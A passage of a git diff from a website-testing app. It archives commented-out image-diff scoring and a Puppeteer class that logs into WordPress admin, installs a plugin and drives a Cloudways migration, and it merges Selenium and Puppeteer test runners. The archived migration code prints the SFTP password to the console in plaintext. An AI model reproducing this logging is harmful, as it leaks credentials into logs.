+#                     for img_id in image_ids:
+#                         image = os.path.join(temp_root, f'{img_id}.png')
+#                         remote_path = f'static/sites/{test.page.site.id}/{test.page.id}/{test.id}/{img_id}.png'
+#                         root_path = settings.AWS_S3_URL_PATH
+#                         image_url = f'{root_path}/{remote_path}'
+                    
+#                         # upload to s3
+#                         with open(image, 'rb') as data:
+#                             self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#                             )
+                        
+#                         # building img obj
+#                         obj = {
+#                             "id": str(img_id),
+#                             "url": image_url,
+#                             "path": remote_path,
+#                             "index": index,
+#                         }
+#                         img_objs.append(obj)
+                        
+#                     return img_objs
+
+
+#                 # test images with PIL
+#                 def pil_score(pre_img, post_img):
+#                     try:
+#                         if (pre_img.mode != post_img.mode) \
+#                                 or (pre_img.size != post_img.size) \
+#                                 or (pre_img.getbands() != post_img.getbands()):
+#                             raise Exception('images are not comparable')
+
+#                         # Generate diff image in memory.
+#                         diff_img = ImageChops.difference(pre_img, post_img)
+
+#                         # Calculate difference as a ratio.
+#                         stat = ImageStat.Stat(diff_img)
+#                         diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100
+#                         pil_img_score = (100 - diff_ratio)
+#                         # print(f'PIL score -> {pil_img_score}')
+#                         return pil_img_score
+                    
+#                     except Exception as e:
+#                         print(e)
+
+
+#                 # test with cv2
+#                 def cv2_score(pre_img, post_img):
+#                     try:
+#                         orb = cv2.ORB_create()
+
+#                         # convert to array
+#                         pre_img_array = numpy.array(pre_img)
+#                         post_img_array = numpy.array(post_img)
+
+#                         # detect keypoints and descriptors
+#                         kp_a, desc_a = orb.detectAndCompute(pre_img_array, None)
+#                         kp_b, desc_b = orb.detectAndCompute(post_img_array, None)
+
+#                         # define the bruteforce matcher object
+#                         bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)
+                            
+#                         # perform matches. 
+#                         matches = bf.match(desc_a, desc_b)
+
+#                         # Look for similar regions with distance < 20. (from 0 to 100)
+#                         similar_regions = [i for i in matches if i.distance < 20]  
+#                         if len(matches) == 0:
+#                             cv2_img_score = 100
+#                         else:
+#                             cv2_img_score = (len(similar_regions) / len(matches)) * 100
+#                             # print(f'cv2 -> {cv2_img_score}')
+                            
+#                         return cv2_img_score
+
+#                     except Exception as e:
+#                         print(e)
+
+
+
+#                 # test images
+#                 try:
+#                     # generating new highlighted images and score via ssim
+#                     ssim_results = highlight_diffs(pre_img_path, post_img_path, i)
+#                     pre_img_diff = ssim_results['img_objs'][0]
+#                     post_img_diff = ssim_results['img_objs'][1]
+                    
+#                     # ssim scoring
+#                     ssim_img_score =  ssim_results['ssim_score'] * 100
+
+#                     # pillow scoring
+#                     pil_img_score = pil_score(pre_img, post_img)
+                    
+#                     # pixel perfect scoring
+#                     cv2_img_score = cv2_score(pre_img, post_img)
+
+#                     # weighted average
+#                     img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
+
+#                     # saving old images to test.id path
+#                     old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
+#                     pre_img = old_imgs[0]
+#                     post_img = old_imgs[1]
+
+#                 except Exception as e:
+#                     print(e)
+#                     img_score = None
+#                     pre_img = None
+#                     post_img = None
+#                     pre_img_diff = None
+#                     post_img_diff = None
+
+#                 # create img test obj and add to array
+#                 img_test_obj = {
+#                     "index": i, 
+#                     "pre_img": pre_img,
+#                     "post_img": post_img,
+#                     "pre_img_diff": pre_img_diff, 
+#                     "post_img_diff": post_img_diff, 
+#                     "score": img_score,
+#                 }
+
+#                 img_test_results.append(img_test_obj)
+#                 scores.append(img_score)
+
+#             # remove local copies
+#             if post_img_obj is not None:
+#                 try:
+#                     os.remove(post_img_path)
+#                 except Exception as e:
+#                     print(e)
+#             try:        
+#                 os.remove(pre_img_path)
+#             except Exception as e:
+#                 print(e)
+
+#             i += 1
+
+#         # remove temp dir
+#         shutil.rmtree(temp_root)
+
+#         # averaging scores and storing in images_delta obj
+#         try:
+#             avg_score = statistics.fmean(scores)
+#         except:
+#             avg_score = None
+
+#         # formatting response
+#         images_delta = {
+#             "average_score": avg_score,
+#             "images": img_test_results,
+#         }
+
+#         # returning response
+#         return images_delta
+
+
+
+
+
diff --git a/app/api/utils/archive/wordpress_p.py b/app/api/utils/archive/wordpress_p.py
new file mode 100644
index 00000000..2b53dce7
--- /dev/null
+++ b/app/api/utils/archive/wordpress_p.py
@@ -0,0 +1,570 @@
+# from .driver_p import driver_init
+# import time, asyncio, uuid
+# from ..models import * 
+# from datetime import datetime
+# from asgiref.sync import sync_to_async
+
+
+
+
+
+
+# class Wordpress():
+
+
+#     def __init__(
+#         self, 
+#         login_url, 
+#         admin_url, 
+#         username, 
+#         password,
+#         email_address,
+#         destination_url,
+#         sftp_address,
+#         dbname,
+#         sftp_username,
+#         sftp_password,
+#         wait_time, 
+#         process_id
+#         ):
+#         # set all global vars
+#         self.login_url = login_url
+#         self.username = username
+#         self.password = password
+#         self.email_address = email_address
+#         self.destination_url = destination_url
+#         self.sftp_address = sftp_address
+#         self.dbname = dbname
+#         self.sftp_username = sftp_username
+#         self.sftp_password = sftp_password
+#         self.process = Process.objects.get(id=process_id)
+#         self.native_lang = 'en'
+
+#         if not admin_url.endswith('/'):
+#             admin_url = admin_url + '/'
+#         self.admin_url = admin_url
+
+#         if wait_time is None:
+#             self.wait_time = 30
+#         else:
+#             self.wait_time = wait_time
+
+#         self.navWaitOpt = {
+#             'timeout': self.wait_time * 1000,
+#             'waitUntil': 'domcontentloaded'
+#         }
+
+
+#     async def login(self):
+
+#         ''' 
+#             Tries to log into a WP site with given credentials.
+
+#             returns --> True / False 
+        
+#         '''
+
+#         print('begining login method for ' + self.login_url)
+
+        
+#         self.driver = await driver_init(wait_time=self.wait_time)
+
+#         # init page obj 
+#         self.page = await self.driver.newPage()
+#         page_options = {
+#             'waitUntil': 'networkidle0', 
+#             'timeout': self.wait_time * 1000
+#         }
+
+#         try:
+#             await self.page.goto(self.login_url, page_options)
+#             try:
+#                 await self.page.xpath('//*[@id="user_login"]')
+#                 print('found login form')
+#             except:
+#                 try:
+#                     jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]')
+#                     await jetpack[0].click()
+#                     await self.page.xpath('//*[@id="user_login"]')
+#                     print('found login form')
+#                 except:
+#                     try:
+#                         login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]")
+#                         await login_link[0].click()
+#                         await self.page.xpath('//*[@id="user_login"]')
+#                         print('found login form')
+#                     except:
+#                         print('unable to locate login form at this path')
+#                         await self.driver.close()
+#                         return False
+                    
+    
+#         except:
+#             print('unable to locate login form at this path')
+#             await self.driver.close()
+#             return False
+
+#         user_name_elem = await self.page.xpath('//*[@id="user_login"]')
+#         await user_name_elem[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.username)
+#         time.sleep(1)
+#         passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
+#         await passworword_elem[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.password)
+#         time.sleep(1)
+#         await self.page.keyboard.press('Enter')
+#         await self.page.waitForNavigation(self.navWaitOpt)
+        
+
+#         try:
+#             try:
+#                 verify_email = await self.page.xpath('//*[@id="correct-admin-email"]')
+#                 print('need to verify email')
+#                 await verify_email[0].click()
+#                 print('clicked verify')
+#             except:
+#                 pass
+
+#             print('done with login attempt')
+
+#             try:
+#                 await self.page.xpath('//*[@id="login_error"]')
+#                 print('found login error')
+#                 await self.page.reload()
+
+#                 print('trying login again')
+#                 user_name_elem = await self.page.xpath('//*[@id="user_login"]')
+#                 await user_name_elem[0].click(clickCount=3)
+#                 await self.page.keyboard.type(self.username)
+#                 time.sleep(1)
+#                 passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
+#                 await passworword_elem[0].click(clickCount=3)
+#                 await self.page.keyboard.type(self.password)
+#                 time.sleep(1)
+#                 await self.page.keyboard.press('Enter')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+
+#                 try:
+#                     await self.page.xpath('//*[@id="login_error"]')
+#                     print('found login error again')
+#                     print('counld not login to this site')
+#                 except:
+#                     print('no login errors')
+
+#             except:
+#                 print('no login errors')
+
+#         except:
+#             print('counld not login to this site')
+            
+#             await self.driver.close()
+#             return False
+            
+
+#         # removing alerts
+#         try:
+#             deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]')
+#             await deny_btn[0].click()
+#             print('removed alert')
+#         except:
+#             pass
+#         try:
+#             # checking if url location is wp-admin
+#             admin_link = '/wp-admin/'
+#             current_url = self.page.url
+#             print('current url -> ' + current_url)
+#             if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url:
+#                 print('inside wp-admin')
+#             else:
+#                 print('not in wp-admin - navigating there now')
+#                 admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]')
+#                 admin_link = await admin_btn[0].querySelector('a')
+#                 await admin_link[0].click(clickCount=2)
+#                 print('clicked dashboard link')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+        
+#         except:
+#             print('could not login')
+#             await self.driver.close()
+#             return False
+
+        
+#         return True
+
+
+
+
+    
+#     async def begin_lang_check(self):
+
+#         try:
+#             # navigate to settings
+#             s_url = 'options-general.php'
+#             try:
+#                 settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
+#                 await settings_menu[0].click()
+#                 print('clicked settings menu')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+#                 settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
+#                 await settings[0].click()
+#                 print('clicked settings tab')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+
+#             except:
+#                 await self.page.goto(self.page.url + s_url)
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+
+#             # finding and recording current native language
+#             lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
+#             optgroup = await lang_selector[0].querySelector('optgroup')
+#             selected_lang = await optgroup.xpath('.//option[@selected="selected"]')
+#             default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue()
+#             default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue()
+#             print("defalut lang value is " + str(default_lang))
+            
+#             if default_lang != 'en':
+
+#                 # selecting english
+#                 await lang_selector[0].select('en_CA')
+#                 print('selected english')
+
+#                 # saving settings
+#                 save_btn = await self.page.xpath('//*[@id="submit"]')
+#                 await save_btn[0].click()
+#                 print('saved lang to english')
+                
+#                 self.native_lang = default_lang_value
+#                 return True
+
+#             else:
+#                 self.native_lang = 'en'
+
+
+#         except:
+#             print('error in changing language')
+#             return False
+
+
+
+
+
+
+#     async def end_lang_check(self):
+
+#         if self.native_lang != 'en':
+
+#             try:
+#                 # navigate to settings
+#                 s_url = 'options-general.php'
+#                 try:
+#                     settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
+#                     await settings_menu[0].click()
+#                     print('clicked settings menu')
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+#                     settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
+#                     await settings[0].click()
+#                     print('clicked settings tab')
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+
+#                 except:
+#                     await self.page.goto(self.page.url + s_url)
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+
+#                 # selecting native lang
+#                 lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
+#                 await lang_selector[0].select(self.native_lang)
+#                 print('selected native_lang')
+
+#                 # saving settings
+#                 save_btn = await self.page.xpath('//*[@id="submit"]')
+#                 await save_btn[0].click()
+#                 print('saved native lang')
+
+#             except:
+#                 await self.driver.close()
+#                 return False
+
+#         await self.driver.close()
+#         return True
+
+
+
+#     async def install_plugin(self, plugin_name):
+
+#         # setting url for link naving
+#         plugin_menu_page = 'plugins.php'
+#         add_plugin_page = 'plugin-install.php'
+
+#         # navigating to plugin page   
+#         try:
+#             print('trying click method')
+#             plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]')
+#             await plugin_menu[0].click()
+#             await self.page.waitForNavigation(self.navWaitOpt)
+#             p_url = 'plugins.php'
+#             plugins = await self.page.xpath('.//a[@href="'+p_url+'"]')
+#             await plugins[0].click()
+#             print('clicked plugin menu')
+#             await self.page.waitForNavigation(self.navWaitOpt)
+            
+            
+#             # looking for dependencies in plugin table
+#             time.sleep(10)
+#             form = await self.page.xpath('//*[@id="bulk-action-form"]')
+#             pluginTable = await form[0].querySelector('tbody')
+#             tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
+
+#         except:
+#             print('trying link method for navigation')
+#             try:
+#                 await self.page.goto(self.admin_link + plugin_menu_page)
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+#                 time.sleep(10)
+#                 # looking for dependencies in plugin table
+#                 form = await self.page.xpath('//*[@id="bulk-action-form"]')
+#                 pluginTable = await form[0].querySelector('tbody')
+#                 tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
+#             except:
+#                 print('unable to find plugin table')
+#                 await self.driver.close()
+#                 return False
+
+#         if plugin_name not in tableText:
+#             try:
+#                 print('plugin not present, preparing to install')
+
+#                 time.sleep(2)
+#                 print('navigating to add plugins page')
+                
+#                 try:
+#                     url = 'plugin-install.php'
+#                     add_plugin = await self.page.xpath('//a[@href="'+url+'"]')
+#                     await add_plugin[0].click(clickCount=2)
+#                     print('clicked add plugin link')
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+                    
+#                     time.sleep(5)
+#                 except:
+#                     await self.page.goto(self.admin_url + add_plugin_page)
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+                    
+#                     time.sleep(5)
+
+                
+#                 # searching for plugin
+#                 search_form = await self.page.xpath('//input[@type="search"]')
+#                 await search_form[0].click(clickCount=3)
+#                 await self.page.keyboard.type(plugin_name)
+#                 time.sleep(1)
+#                 await self.page.keyboard.press('Enter')
+#                 time.sleep(3)
+
+#                 ##### Clicking "install" plugin ######
+#                 install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
+#                 await install[0].click(clickCount=2)
+#                 print('clicked -install plugin-')
+#                 time.sleep(30)
+            
+            
+#                 #### Clicking "activate" plugin ######
+#                 await self.page.reload()
+#                 print('reloading page')
+#                 try:
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+#                 except:
+#                     pass
+#                 activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
+#                 await activate[0].click(clickCount=2)
+#                 print('clicked -Activate plugin-')
+#                 time.sleep(30)
+#                 print('Dependencies installed sucessfully')
+#                 return True
+
+#             except:
+#                 print('failed dependency installation')
+#                 await self.driver.close()
+#                 return False
+
+#         else:
+#             print('plugin already installed')
+#             return True
+
+
+#     @sync_to_async
+#     def update_process(self, successful=False, info_url=None, time_completed=None, progress=None):
+#         if info_url is not None:
+#             self.process.info_url = info_url
+#         self.process.success = successful
+#         if time_completed is not None:
+#             self.process.time_completed = time_completed
+#         if progress is not None:
+#             self.process.progress = progress
+        
+#         self.process.save()
+#         return
+
+
+
+#     async def launch_migration(self):
+#         ''' 
+#             Launches the migration plugin once Activated.
+
+#             returns --> True / False 
+        
+#         '''
+
+#         # setting url for link naving
+#         migrate_page = 'admin.php?page=cloudways'
+#         current_url = self.page.url
+
+#         if not current_url.endswith("cloudways"):
+#             print('navigating to migration page')
+#             if self.admin_url.endswith('/'):
+#                 await self.page.goto(f'{self.admin_url}{migrate_page}')
+#             else:
+#                 await self.page.goto(f'{self.admin_url}/{migrate_page}')
+#             time.sleep(10)
+
+
+#         # wait for cloudways email field to become visible
+#         # entering self.email_address in field
+#         email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input')
+#         await email[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.email_address)
+#         print('entered cloudways email')
+
+#         # checking T&S checbox
+#         checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]')
+#         await checkbox[0].click(clickCount=1)
+#         print('checked T&S agreement')
+
+#         # clicking submit to launch migration plugin
+#         m_button = await self.page.xpath('//*[@id="migratesubmit"]')
+#         await m_button[0].click(clickCount=1)
+#         print('clicked migrate button')
+
+#         return True
+
+    
+#     async def run_migration(self):
+#         ''' 
+#             Enters data on migration page, initiates miration 
+#             and begins updating the associated `Process` with data
+#             from the page.
+
+#             returns --> True / False 
+        
+#         '''
+
+#         # check for page to fully load 
+#         print('waiting 10 sec for new page to load')
+#         time.sleep(10)
+#         ## enter all necessary data in each field
+#         await self.page.waitForNavigation(self.navWaitOpt)
+
+#         # get_element_by_name="address" -> self.destination_url
+#         destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]')
+#         await destination_url[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.destination_url)
+#         print(f'dest_url as -> {self.destination_url}')
+#         time.sleep(2)
+
+#         # get_element_by_name="newurl" -> self.sftp_address 
+#         sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]')
+#         await sftp_address[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.sftp_address)
+#         print(f'sftp_address as -> {self.sftp_address}')
+#         time.sleep(2)
+
+#         # get_element_by_name="appfolder" -> self.dbname
+#         dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]')
+#         await dbname[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.dbname)
+#         print(f'dbname as -> {self.dbname}')
+#         time.sleep(2)
+
+#         # get_element_by_name="username" -> self.sftp_username
+#         sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]')
+#         await sftp_username[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.sftp_username)
+#         print(f'sftp_username as -> {self.sftp_username}')
+#         time.sleep(2)
+
+#         # get_element_by_name="passwd" -> self.sftp_password
+#         sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]')
+#         await sftp_password[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.sftp_password)
+#         print(f'sftp_password as -> {self.sftp_password}')
+#         time.sleep(2)
+
+#         print('entered all creds')
+
+#         # submit data
+#         await self.page.keyboard.press('Enter')
+#         print('pressed enter key')
+
+        
+
+#         # update self.process with info_url
+#         info_url = self.page.url
+#         await self.update_process(info_url=info_url)
+        
+
+#         done = False
+#         done_text = 'Your migration is complete!'
+#         new_progress = 0
+#         print(f'current url -> {self.page.url}')
+#         while not done:
+            
+#             # checking for progres bar
+#             try:
+#                 raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]')
+#                 new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue()
+#                 new_progress = float(new_progress.split('%')[0])
+#             except Exception as e: 
+#                 # print(e)
+#                 pass
+            
+
+#             # update self.process
+#             await self.update_process(progress=new_progress)
+
+#             # check if new_progress is 100%
+#             page_content = await self.page.content()
+#             if new_progress >= 100 or done_text in page_content:
+#                 time_completed = datetime.now()
+#                 await self.update_process(successful=True, time_completed=time_completed, progress=100)
+#                 done = True
+
+#             # checking for process errors
+#             if 'alert alert-danger' in page_content:
+#                 done = True
+#                 time_completed = datetime.now()
+#                 await self.update_process(time_completed=time_completed)
+#                 print('found an error - ending process')
+#                 return False
+
+#             time.sleep(1)
+
+
+#         return True
+
+
+
+
+
+
+#     async def run_full(self, plugin_name):
+#         data = await self.login()
+#         data = await self.begin_lang_check()
+#         data = await self.install_plugin(plugin_name)
+#         # data = await self.end_lang_check()
+#         data = await self.launch_migration()
+#         data = await self.run_migration()
+#         await self.driver.close()
+#         return data
+
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a9bce7e6..d861d687 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1,6 +1,5 @@
-from selenium import webdriver
+from .driver import driver_init, driver_wait, quit_driver
 from selenium.webdriver.common.by import By
-from .driver_s import driver_init, driver_wait, quit_driver
 from ..models import Site, Case
 from scanerr import settings
 import time, os, json, uuid, random, boto3
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index ef161934..b3b3bf9a 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,6 +1,4 @@
-from .driver_p import driver_init as driver_p_init
-from .driver_s import driver_init as driver_s_init
-from .driver_s import driver_wait, quit_driver
+from .driver import driver_init, driver_wait, quit_driver
 from .issuer import Issuer
 import time, uuid, json, boto3, os
 from selenium.webdriver.common.by import By
@@ -23,8 +21,7 @@ class Caser():
         'testcase' : object,
     }
 
-    - Use `Caser.run_s()` to run with selenium
-    - Use `Caser.run_p()` to run with puppeteer
+    - Use `Caser.run()` to run case as Testcase
 
     Returns -> None
     """
@@ -75,42 +72,10 @@ def __init__(self, testcase: object=None):
 
 
 
-    @sync_to_async
     def update_testcase(
             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
         ) -> None:
-        # updates Tescase for a puppeteer run (async) 
-        if start_time != None:
-            self.testcase.steps[index][type]['time_created'] = str(start_time)
-        if end_time != None:
-            self.testcase.steps[index][type]['time_completed'] = str(end_time)
-        if passed != None:
-            self.testcase.steps[index][type]['passed'] = passed
-        if exception != None:
-            self.testcase.steps[index][type]['exception'] = str(exception)
-        if image != None:
-            self.testcase.steps[index][type]['image'] = str(image)
-        if time_completed != None:
-            self.testcase.time_completed = time_completed
-            test_status = True
-            for step in self.testcase.steps:
-                if step['action']['passed'] == False:
-                    test_status = False
-                if step['assertion']['passed'] == False:
-                    test_status = False
-            self.testcase.passed = test_status
-        
-        self.testcase.save()
-        return None
-
-
-
-
-    def update_testcase_s(
-            self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
-            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
-        ) -> None:
         # updates Tescase for a selenium run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
@@ -138,7 +103,6 @@ def update_testcase_s(
 
 
 
-    @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
@@ -146,56 +110,7 @@ def format_element(self, element):
 
 
 
-    def format_element_s(self, element):
-        elememt = json.dumps(element).rstrip('"').lstrip('"')
-        return str(element)
-
-
-
-    
-    async def save_screenshot(self, page: object=None) -> str:
-        '''
-        Grabs & uploads a screenshot of the `page` 
-        passed in the params. 
-
-        Returns -> `image_url` <str:remote path to image>
-        '''
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # setting id for image
-        pic_id = uuid.uuid4()
-        
-        # get screenshot
-        await page.screenshot({'path': f'{pic_id}.png'})
-
-        # seting up paths
-        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(image, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-        # remove local copy
-        os.remove(image)
-
-        # returning image url
-        return image_url
-
-
-
-    
-    def save_screenshot_s(self) -> str:
+    def save_screenshot(self) -> str:
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
@@ -234,9 +149,9 @@ def save_screenshot_s(self) -> str:
         # returning image url
         return image_url
 
+    
 
 
-    @sync_to_async
     def format_exception(self, exception: str) -> str:
         """ 
         Cleans the passed `exception` of any 
@@ -254,41 +169,21 @@ def format_exception(self, exception: str) -> str:
 
         return new_exception
 
-
     
 
-    def format_exception_s(self, exception: str) -> str:
-        """ 
-        Cleans the passed `exception` of any 
-        system refs and unnecessary info
 
-        Expects: {
-            "exception": str
-        }
-
-        Returns -> str
-        """
-
-        split_e = str(exception).split('Stacktrace:')
-        new_exception = split_e[0]
-
-        return new_exception
-
-    
-
-
-    def run_s(self) -> None:
+    def run(self) -> None:
         """
         Runs the self.testcase using selenium as the driver
 
         Returns -> None
         """
 
-        print(f'beginning testcase for {self.site_url}  \
-            using case {self.case_name}')
+        print(f'beginning testcase for {self.site_url} using case {self.case_name}')
         
         # initate driver
-        self.driver = driver_s_init(
+        self.driver = driver_init(
+            browser=self.configs['browser'],
             window_size=self.configs['window_size'], 
             device=self.configs['device']
         )
@@ -310,7 +205,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -326,14 +221,14 @@ def run_s(self) -> None:
                     )
                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -345,7 +240,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'scroll':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -358,14 +253,14 @@ def run_s(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get image
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -377,7 +272,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -385,7 +280,7 @@ def run_s(self) -> None:
                 try:
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
@@ -397,14 +292,14 @@ def run_s(self) -> None:
                     # clicking element
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -415,7 +310,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -423,7 +318,7 @@ def run_s(self) -> None:
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
                     # using selenium, find and change the 'element'.value
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -436,14 +331,14 @@ def run_s(self) -> None:
                     value = step["action"]["value"]
                     element.send_keys(value)
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -454,7 +349,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -469,10 +364,10 @@ def run_s(self) -> None:
                         if elm != None and len(elm) != 0:
                             break
                         n -= 1
-                    selector = self.format_element_s(elm)
+                    selector = self.format_element(elm)
                                 
                     # using selenium, find elemenmtn and send 'Key' event
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -484,14 +379,14 @@ def run_s(self) -> None:
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
